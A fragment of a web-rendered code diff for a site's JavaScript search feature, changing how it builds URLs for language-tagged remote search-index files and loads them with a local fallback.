const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
@ -208,3 +208,4 @@
|
||||
listOut.classList.toggle('hidden',!docs.length);
|
||||
};
|
||||
})();
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user